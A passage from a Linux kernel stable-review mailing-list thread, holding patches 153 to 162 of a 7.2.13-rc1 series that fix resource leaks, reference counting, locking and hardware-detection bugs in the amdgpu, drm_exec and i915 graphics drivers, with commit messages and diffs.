The PASS_MASK is for a different register not for UVD_FW_START.
It was a mistake to check this flag. It should be enough to check
that the register is non-zero.
Fixes: 889a2cfd889c ("drm/amdgpu/uvd3.1: Don't validate the firmware when already validated")
Signed-off-by: Timur Kristóf <timur.kristof@gmail.com>
Reviewed-by: Mario Limonciello <mario.limonciello@amd.com>
Link: https://patch.msgid.link/20261006211607.75407-1-timur.kristof@gmail.com
Signed-off-by: Mario Limonciello <mario.limonciello@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit 9dee462c83259ca769aa1bf82228adee9831685c)
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/uvd_v3_1.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/gpu/drm/amd/amdgpu/uvd_v3_1.c b/drivers/gpu/drm/amd/amdgpu/uvd_v3_1.c
index efb3fde919ee..b7d451f439a7 100644
--- a/drivers/gpu/drm/amd/amdgpu/uvd_v3_1.c
+++ b/drivers/gpu/drm/amd/amdgpu/uvd_v3_1.c
@@ -288,7 +288,7 @@ static int uvd_v3_1_fw_validate(struct amdgpu_device *adev)
int i;
uint32_t keysel = adev->uvd.keyselect;
- if (RREG32(mmUVD_FW_START) & UVD_FW_STATUS__PASS_MASK) {
+ if (RREG32(mmUVD_FW_START)) {
dev_dbg(adev->dev, "UVD keyselect already set: 0x%x (on CPU: 0x%x)\n",
RREG32(mmUVD_FW_START), adev->uvd.keyselect);
return 0;
--
2.56.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 154/242] drm/amdgpu: destroy mutex when tearing down ttm buffer entity
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (150 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 153/242] drm/amdgpu/uvd3.1: Fix checking whether UVD firmware keyselect was already set Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 155/242] drm/amdgpu: dont drop the runtime PM reference twice in amdgpu_gpr Greg Kroah-Hartman
` (89 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Perry Yuan, Christian König,
Alex Deucher
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Perry Yuan <perry.yuan@amd.com>
commit 5b0a459f990be2faba33229fd93f10f23745fab2 upstream.
Pair mutex_init() with mutex_destroy() on the GART window allocation
failure path and in amdgpu_ttm_buffer_entity_fini(). This is a no-op
without CONFIG_DEBUG_MUTEXES, but it keeps lockdep from seeing a live
mutex after the entity is freed or re-initialized.
Signed-off-by: Perry Yuan <perry.yuan@amd.com>
Reviewed-by: Christian König <christian.koenig@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit 03ac40aeed034a0a0d5824ad26f8fbe1f6463698)
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 2 ++
1 file changed, 2 insertions(+)
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c
@@ -2058,6 +2058,7 @@ static int amdgpu_ttm_buffer_entity_init
r = amdgpu_gtt_mgr_alloc_entries(mgr, &entity->gart_node, num_pages,
DRM_MM_INSERT_BEST);
if (r) {
+ mutex_destroy(&entity->lock);
drm_sched_entity_destroy(&entity->base);
return r;
}
@@ -2075,6 +2076,7 @@ static void amdgpu_ttm_buffer_entity_fin
struct amdgpu_ttm_buffer_entity *entity)
{
amdgpu_gtt_mgr_free_entries(mgr, &entity->gart_node);
+ mutex_destroy(&entity->lock);
drm_sched_entity_destroy(&entity->base);
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 155/242] drm/amdgpu: dont drop the runtime PM reference twice in amdgpu_gpr
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (151 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 154/242] drm/amdgpu: destroy mutex when tearing down ttm buffer entity Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 156/242] drm/amdgpu: fix GEM object leak on ENOMEM in userptr ioctl Greg Kroah-Hartman
` (88 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Alex Deucher, Jesse Zhang
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jesse Zhang <Jesse.Zhang@amd.com>
commit de9f6bcdb44f0e410031002e2f103826ea6b6259 upstream.
amdgpu_debugfs_gpr_read() drops its runtime PM reference right after
reading the wave registers. When copying them to userspace fails, it
jumps to the err label, which drops the reference a second time. A read
into a bad buffer on Navi31 either steals a reference somebody else
holds (power/runtime_usage goes from 1 to 0) or underflows the count:
amdgpu 0000:03:00.0: Runtime PM usage count underflow!
The registers are already in the kernel buffer at that point, so finish
the hardware access first and copy the buffer with a single
copy_to_user() instead of the put_user() loop with its own error path.
Fixes: 9eee152aab56 ("drm/amdgpu/debugfs: fix ref count leak when pm_runtime_get_sync fails")
Reviewed-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Jesse Zhang <Jesse.Zhang@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit 31035bbd74f7c3e10c163db875b8e67f8b50ee6a)
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/amdgpu_debugfs.c | 21 +++------------------
1 file changed, 3 insertions(+), 18 deletions(-)
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_debugfs.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_debugfs.c
@@ -1265,7 +1265,6 @@ static ssize_t amdgpu_debugfs_gpr_read(s
{
struct amdgpu_device *adev = f->f_inode->i_private;
int r;
- ssize_t result = 0;
uint32_t offset, se, sh, cu, wave, simd, thread, bank, *data;
if (size > 4096 || size & 3 || *pos & 3)
@@ -1309,25 +1308,11 @@ static ssize_t amdgpu_debugfs_gpr_read(s
mutex_unlock(&adev->grbm_idx_mutex);
pm_runtime_put_autosuspend(adev_to_drm(adev)->dev);
+ amdgpu_virt_disable_access_debugfs(adev);
- while (size) {
- uint32_t value;
-
- value = data[result >> 2];
- r = put_user(value, (uint32_t *)buf);
- if (r) {
- amdgpu_virt_disable_access_debugfs(adev);
- goto err;
- }
-
- result += 4;
- buf += 4;
- size -= 4;
- }
-
+ r = copy_to_user(buf, data, size) ? -EFAULT : size;
kfree(data);
- amdgpu_virt_disable_access_debugfs(adev);
- return result;
+ return r;
err:
pm_runtime_put_autosuspend(adev_to_drm(adev)->dev);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 156/242] drm/amdgpu: fix GEM object leak on ENOMEM in userptr ioctl
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (152 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 155/242] drm/amdgpu: dont drop the runtime PM reference twice in amdgpu_gpr Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 157/242] drm/amdgpu: fix sched entity leak in ttm buffer entity init Greg Kroah-Hartman
` (87 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Perry Yuan, Christian König,
Alex Deucher
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Perry Yuan <perry.yuan@amd.com>
commit 3c516a5646285442e1cd71dff2584b77eb4fc421 upstream.
When amdgpu_hmm_range_alloc() fails amdgpu_gem_userptr_ioctl() returns
-ENOMEM right away and skips the cleanup every other error path goes
through. The GEM object, the bo->parent reference on the VM root and the
MMU notifier registration are all left behind.
Use release_object here, not user_pages_done, range is still NULL at
this point.
Fixes: e095b55155ef ("drm/amdgpu: use user provided hmm_range buffer in amdgpu_ttm_tt_get_user_pages")
Signed-off-by: Perry Yuan <perry.yuan@amd.com>
Reviewed-by: Christian König <christian.koenig@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit bbe739e407a542073ec1a7872b14843566b4919e)
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c
@@ -567,8 +567,10 @@ int amdgpu_gem_userptr_ioctl(struct drm_
if (args->flags & AMDGPU_GEM_USERPTR_VALIDATE) {
range = amdgpu_hmm_range_alloc(NULL);
- if (unlikely(!range))
- return -ENOMEM;
+ if (unlikely(!range)) {
+ r = -ENOMEM;
+ goto release_object;
+ }
r = amdgpu_ttm_tt_get_user_pages(bo, range);
if (r) {
amdgpu_hmm_range_free(range);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 157/242] drm/amdgpu: fix sched entity leak in ttm buffer entity init
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (153 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 156/242] drm/amdgpu: fix GEM object leak on ENOMEM in userptr ioctl Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 158/242] drm/amdgpu: keep the eviction fence until the last handle is closed Greg Kroah-Hartman
` (86 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Perry Yuan, Christian König,
Alex Deucher
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Perry Yuan <perry.yuan@amd.com>
commit b5629f4a0869f4b01cfbfdf27f2c349d68c5d9d4 upstream.
amdgpu_ttm_buffer_entity_init() checks num_gart_windows after
drm_sched_entity_init() has already attached the entity to a
scheduler run-queue. Returning -EINVAL from that check leaks the
entity.
Move the ARRAY_SIZE() check before any resources are acquired.
Fixes: 2c3725572561 ("drm/amdgpu: statically assign gart windows to ttm entities")
Signed-off-by: Perry Yuan <perry.yuan@amd.com>
Reviewed-by: Christian König <christian.koenig@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit 4000d1cdd1eacd3422267d6c8b4f1c9333b0317e)
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c
@@ -2043,14 +2043,15 @@ static int amdgpu_ttm_buffer_entity_init
int i, r, num_pages;
const u64 GTT_MAX_PAGES = (AMDGPU_GTT_MAX_TRANSFER_SIZE >> PAGE_SHIFT);
+ if (ARRAY_SIZE(entity->gart_window_offs) < num_gart_windows)
+ return -EINVAL;
+
r = drm_sched_entity_init(&entity->base, prio, scheds, num_schedulers, NULL);
if (r)
return r;
mutex_init(&entity->lock);
- if (ARRAY_SIZE(entity->gart_window_offs) < num_gart_windows)
- return -EINVAL;
if (num_gart_windows == 0)
return 0;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 158/242] drm/amdgpu: keep the eviction fence until the last handle is closed
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (154 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 157/242] drm/amdgpu: fix sched entity leak in ttm buffer entity init Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 159/242] drm/amdgpu: report the BO alignment in bytes in GEM_LIST_HANDLES Greg Kroah-Hartman
` (85 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jesse Zhang, Christian König,
Alex Deucher
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jesse Zhang <Jesse.Zhang@amd.com>
commit 3c44cbcec5eb370713bbd2c315ed7c34d8ccec2b upstream.
amdgpu_gem_object_close() detaches the user queue eviction fence from
the BO before it checks bo_va->ref_count, so closing any handle of a BO
removes the fence, even when the file still has another handle to the
BO and the bo_va with its GPU mappings stays. The BO can then be evicted
without suspending the user queues of the file, which keep accessing it
through mappings that are only marked for update.
Seen on navi31 with a SDMA user queue: a BO opened twice in the same
file (GEM_FLINK + GEM_OPEN) loses its eviction fence when the second
handle is closed (traced attach/detach of the fence):
attach bo=ffff8c78a6c84c00
GEM_CLOSE handle=7
detach bo=ffff8c78a6c84c00
while handle 6 and the mapping are still in use.
Only detach the fence when the last reference to the bo_va goes away,
matching amdgpu_gem_object_open(), which attaches it only when the
bo_va is created. With this the fence stays until the file is closed.
Fixes: 31f7efcdca4d ("drm/amdgpu: enable eviction fence")
Signed-off-by: Jesse Zhang <Jesse.Zhang@amd.com>
Reviewed-by: Christian König <christian.koenig@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit 8387982f03d4026b7dc11b0b5e3118298eee4d6a)
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c | 9 ++++++---
1 file changed, 6 insertions(+), 3 deletions(-)
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c
@@ -337,11 +337,14 @@ static void amdgpu_gem_object_close(stru
goto out_unlock;
}
+ bo_va = amdgpu_vm_bo_find(vm, bo);
+ /* the fence is attached once per bo_va, so keep it for other handles */
+ if (bo_va && --bo_va->ref_count)
+ goto out_unlock;
+
if (!amdgpu_vm_is_bo_always_valid(vm, bo))
amdgpu_evf_mgr_detach_fence(&fpriv->evf_mgr, bo);
-
- bo_va = amdgpu_vm_bo_find(vm, bo);
- if (!bo_va || --bo_va->ref_count)
+ if (!bo_va)
goto out_unlock;
amdgpu_vm_bo_del(adev, bo_va);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 159/242] drm/amdgpu: report the BO alignment in bytes in GEM_LIST_HANDLES
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (155 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 158/242] drm/amdgpu: keep the eviction fence until the last handle is closed Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 160/242] drm/exec: dont immediately add prelocked obj to array of locked objs Greg Kroah-Hartman
` (84 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jesse Zhang, Christian König,
Alex Deucher
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jesse Zhang <Jesse.Zhang@amd.com>
commit d65a459dbc9a6c3b051e22c96f73598e34b31bfc upstream.
The uapi documents drm_amdgpu_gem_list_handles_entry.alignment as
"physical start_addr alignment in bytes", and GEM_OP
GET_GEM_CREATE_INFO returns the same value in bytes, but
GEM_LIST_HANDLES returns tbo.page_alignment, which is in pages. For a BO
created with a 64 KiB alignment on navi31:
GET_GEM_CREATE_INFO: alignment=65536
GEM_LIST_HANDLES: alignment=16
so a user such as CRIU that recreates BOs from this list uses the wrong
alignment. Convert it to bytes.
Fixes: f9db1fc52ceb ("drm/amdgpu: Add ioctl to get all gem handles for a process")
Signed-off-by: Jesse Zhang <Jesse.Zhang@amd.com>
Reviewed-by: Christian König <christian.koenig@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit aa4493ae949c13e79aba0731394dd7a7e431342b)
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c
@@ -1241,7 +1241,7 @@ int amdgpu_gem_list_handles_ioctl(struct
bo_entry->alloc_flags = bo->flags & AMDGPU_GEM_CREATE_SETTABLE_MASK;
bo_entry->preferred_domains = bo->preferred_domains;
bo_entry->gem_handle = id;
- bo_entry->alignment = bo->tbo.page_alignment;
+ bo_entry->alignment = (u64)bo->tbo.page_alignment << PAGE_SHIFT;
if (bo->tbo.base.import_attach)
bo_entry->flags |= AMDGPU_GEM_LIST_HANDLES_FLAG_IS_IMPORT;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 160/242] drm/exec: dont immediately add prelocked obj to array of locked objs
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (156 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 159/242] drm/amdgpu: report the BO alignment in bytes in GEM_LIST_HANDLES Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 161/242] drm/i915/cx0_phy: Fix ARL-S host bridge detection Greg Kroah-Hartman
` (83 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Christian König, Vitaly Prosyak
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian König <ckoenig.leichtzumerken@gmail.com>
commit 26401a4999f1596a515b2e704e7066ac09306488 upstream.
When a contention is detected the drm_exec object grabs a reference to
the contended object, unlocks all other objects and pre-locks the
contended one before anything else.
The problem is that it is possible that this pre-locked object was about
to be destroyed and drm_exec is now holding the last reference to it.
So we never actually see this pre-locked object again to be explicitly
locked and so also never reserve a slot for a dma_fence object on it.
Should the driver now use drm_exec_for_each_locked_object() to add a new
fence to all locked objects we eventually see a warning or even a
BUG_ON() to prevent random memory corruption.
Fix this by keeping the prelocked object out of the array of locked objs
until it was explicitly mentioned by the driver again.
If the prelocked object is never mentioned again by the driver
just unlock and drop the reference at the end of the locking loop.
Signed-off-by: Christian König <christian.koenig@amd.com>
Reported-by: Vitaly Prosyak <vitaly.prosyak@amd.com>
Reviewed-by: Vitaly Prosyak <vitaly.prosyak@amd.com>
Tested-by: Vitaly Prosyak <vitaly.prosyak@amd.com>
Fixes: 09593216bff1 ("drm: execution context for GEM buffers v7")
CC: stable@vger.kernel.org # v6.6+
Link: https://lore.kernel.org/r/20261007124657.9664-1-christian.koenig@amd.com
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/drm_exec.c | 75 ++++++++++++++++++++++++++-------------------
include/drm/drm_exec.h | 15 +++++----
2 files changed, 53 insertions(+), 37 deletions(-)
--- a/drivers/gpu/drm/drm_exec.c
+++ b/drivers/gpu/drm/drm_exec.c
@@ -48,6 +48,16 @@
* See struct dma_exec for more details.
*/
+/* Unlock and put the prelocked obj */
+static void drm_exec_drop_prelocked(struct drm_exec *exec)
+{
+ if (exec->prelocked) {
+ dma_resv_unlock(exec->prelocked->resv);
+ drm_gem_object_put(exec->prelocked);
+ exec->prelocked = NULL;
+ }
+}
+
/* Unlock all objects and drop references */
static void drm_exec_unlock_all(struct drm_exec *exec)
{
@@ -58,8 +68,7 @@ static void drm_exec_unlock_all(struct d
drm_gem_object_put(obj);
}
- drm_gem_object_put(exec->prelocked);
- exec->prelocked = NULL;
+ drm_exec_drop_prelocked(exec);
}
/**
@@ -118,6 +127,14 @@ EXPORT_SYMBOL(drm_exec_fini);
bool drm_exec_cleanup(struct drm_exec *exec)
{
if (likely(!exec->contended)) {
+
+ /*
+ * The contended and prelocked object might never be passed to
+ * drm_exec_lock_obj() again. This can happen when the object
+ * is about to be cleaned up and we now hold the last reference
+ * to it. Make sure that we don't unnecessarily keep it around.
+ */
+ drm_exec_drop_prelocked(exec);
ww_acquire_done(&exec->ticket);
return false;
}
@@ -175,16 +192,16 @@ static int drm_exec_lock_contended(struc
dma_resv_lock_slow(obj->resv, &exec->ticket);
}
- ret = drm_exec_obj_locked(exec, obj);
- if (unlikely(ret))
- goto error_unlock;
+ /*
+ * It is perfectly possible that we see another contention before the
+ * first one is fully handled.
+ */
+ drm_exec_drop_prelocked(exec);
+ /* We move the reference from contended to prelocked here */
exec->prelocked = obj;
return 0;
-error_unlock:
- dma_resv_unlock(obj->resv);
-
error_dropref:
drm_gem_object_put(obj);
return ret;
@@ -212,35 +229,31 @@ int drm_exec_lock_obj(struct drm_exec *e
if (exec->prelocked == obj) {
drm_gem_object_put(exec->prelocked);
exec->prelocked = NULL;
- return 0;
- }
+ } else {
+ if (exec->flags & DRM_EXEC_INTERRUPTIBLE_WAIT)
+ ret = dma_resv_lock_interruptible(obj->resv,
+ &exec->ticket);
+ else
+ ret = dma_resv_lock(obj->resv, &exec->ticket);
+
+ if (unlikely(ret == -EDEADLK)) {
+ drm_gem_object_get(obj);
+ exec->contended = obj;
+ return -EDEADLK;
+ }
+
+ if (unlikely(ret == -EALREADY) &&
+ exec->flags & DRM_EXEC_IGNORE_DUPLICATES)
+ return 0;
- if (exec->flags & DRM_EXEC_INTERRUPTIBLE_WAIT)
- ret = dma_resv_lock_interruptible(obj->resv, &exec->ticket);
- else
- ret = dma_resv_lock(obj->resv, &exec->ticket);
-
- if (unlikely(ret == -EDEADLK)) {
- drm_gem_object_get(obj);
- exec->contended = obj;
- return -EDEADLK;
+ if (unlikely(ret))
+ return ret;
}
- if (unlikely(ret == -EALREADY) &&
- exec->flags & DRM_EXEC_IGNORE_DUPLICATES)
- return 0;
-
- if (unlikely(ret))
- return ret;
-
ret = drm_exec_obj_locked(exec, obj);
if (ret)
- goto error_unlock;
-
- return 0;
+ dma_resv_unlock(obj->resv);
-error_unlock:
- dma_resv_unlock(obj->resv);
return ret;
}
EXPORT_SYMBOL(drm_exec_lock_obj);
--- a/include/drm/drm_exec.h
+++ b/include/drm/drm_exec.h
@@ -73,13 +73,15 @@ drm_exec_obj(struct drm_exec *exec, unsi
/* Helper for drm_exec_for_each_locked_object(). Internal use only. */
#define __drm_exec_for_each_locked_object(exec, obj, __index) \
- for (unsigned long __index = 0; ((obj) = drm_exec_obj(exec, __index)); ++__index)
+ for (unsigned long __index = 0; ((obj) = drm_exec_obj(exec, __index)); \
+ ++__index)
/**
* drm_exec_for_each_locked_object - iterate over all the locked objects
* @exec: drm_exec object
* @obj: the current GEM object
*
- * Iterate over all the locked GEM objects inside the drm_exec object.
+ * Iterate over all the explicitly locked GEM objects inside the drm_exec
+ * container, except for the contended and implicit prelocked one.
*/
#define drm_exec_for_each_locked_object(exec, obj) \
__drm_exec_for_each_locked_object(exec, obj, __UNIQUE_ID(drm_exec))
@@ -94,12 +96,13 @@ drm_exec_obj(struct drm_exec *exec, unsi
* @exec: drm_exec object
* @obj: the current GEM object
*
- * Iterate over all the locked GEM objects inside the drm_exec object in
- * reverse locking order. Note that the internal index may wrap around,
- * but that will be caught by drm_exec_obj(), returning a NULL object.
+ * Iterate over all the explicitly locked GEM objects inside the drm_exec
+ * container in reverse locking order. Note that the internal index may wrap
+ * around, but that will be caught by drm_exec_obj(), returning a NULL object.
*/
#define drm_exec_for_each_locked_object_reverse(exec, obj) \
- __drm_exec_for_each_locked_object_reverse(exec, obj, __UNIQUE_ID(drm_exec))
+ __drm_exec_for_each_locked_object_reverse(exec, obj, \
+ __UNIQUE_ID(drm_exec))
/**
* drm_exec_until_all_locked - loop until all GEM objects are locked
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 161/242] drm/i915/cx0_phy: Fix ARL-S host bridge detection
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (157 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 160/242] drm/exec: dont immediately add prelocked obj to array of locked objs Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 162/242] drm/i915/dmc: Add sanity check for DMC load address Greg Kroah-Hartman
` (82 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jani Nikula, Dnyaneshwar Bhadane,
Chaitanya Kumar Borah, Joonas Lahtinen
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Dnyaneshwar Bhadane <dnyaneshwar.bhadane@intel.com>
commit 6a8bf59de3ef47ff51face6ea826395a1098baa0 upstream.
Fix is_arrowlake_s_by_host_bridge() which always returned false.
The while loop always exits with pdev as NULL, so the return
condition was always false, causing the wrong tx_misc value to be used.
Check the host bridge ID inside the loop body. Once found early exit
from the loop release the pci reference "pdev" and return true.
v2:
- Update commit message (Chaitanya)
Bspec:74165,74491
Suggested-by: Jani Nikula <jani.nikula@intel.com>
Cc: <stable@vger.kernel.org>
Fixes: 3630a47b700e ("drm/i915/cx0_phy: Update HDMI TMDS C20 algorithm value")
Signed-off-by: Dnyaneshwar Bhadane <dnyaneshwar.bhadane@intel.com>
Reviewed-by: Chaitanya Kumar Borah <chaitanya.kumar.borah@intel.com>
Signed-off-by: Chaitanya Kumar Borah <chaitanya.kumar.borah@intel.com>
Link: https://patch.msgid.link/20260921090226.946472-1-dnyaneshwar.bhadane@intel.com
(cherry picked from commit 0507cc5a476af0b6d037b19248bdd20dbe27487d)
Signed-off-by: Joonas Lahtinen <joonas.lahtinen@linux.intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/i915/display/intel_cx0_phy.c | 12 +++++++-----
1 file changed, 7 insertions(+), 5 deletions(-)
--- a/drivers/gpu/drm/i915/display/intel_cx0_phy.c
+++ b/drivers/gpu/drm/i915/display/intel_cx0_phy.c
@@ -2341,12 +2341,14 @@ static void intel_c10pll_dump_hw_state(s
static bool is_arrowlake_s_by_host_bridge(void)
{
struct pci_dev *pdev = NULL;
- u16 host_bridge_pci_dev_id;
+ while ((pdev = pci_get_class(PCI_CLASS_BRIDGE_HOST << 8, pdev))) {
+ if (IS_ARROWLAKE_S_BY_HOST_BRIDGE_ID(pdev->device)) {
+ pci_dev_put(pdev);
+ return true;
+ }
+ }
- while ((pdev = pci_get_class(PCI_CLASS_BRIDGE_HOST << 8, pdev)))
- host_bridge_pci_dev_id = pdev->device;
-
- return pdev && IS_ARROWLAKE_S_BY_HOST_BRIDGE_ID(host_bridge_pci_dev_id);
+ return false;
}
static u16 intel_c20_hdmi_tmds_tx_cgf_1(struct intel_display *display)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 162/242] drm/i915/dmc: Add sanity check for DMC load address
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (158 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 161/242] drm/i915/cx0_phy: Fix ARL-S host bridge detection Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 163/242] drm/xe: Bump LRU for external objects on exec and rebind Greg Kroah-Hartman
` (81 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Dibin Moolakadan Subrahmanian,
Mitul Golani, Ankit Nautiyal, Joonas Lahtinen
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
commit 7dedc5bb11f95e96fe80757c924d8d9aa7327759 upstream.
For DMC firmware header version 3, the firmware load address is stored
in dmc_info->start_mmioaddr and later used by dmc_load_program().
Unlike the MMIO address table, the firmware load address is not
validated. Add a sanity check to ensure it is within the valid range.
BSpec: 69671, 68378
Fixes: 3d5928a168a9 ("drm/i915/xelpd: Pipe A DMC plugging")
Cc: stable@vger.kernel.org
Assisted-by: Claude-Code:Sonnet-5
Signed-off-by: Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
Reviewed-by: Mitul Golani<mitulkumar.ajitkumar.golani@intel.com>
Signed-off-by: Ankit Nautiyal <ankit.k.nautiyal@intel.com>
Link: https://patch.msgid.link/20260922133535.3180973-6-dibin.moolakadan.subrahmanian@intel.com
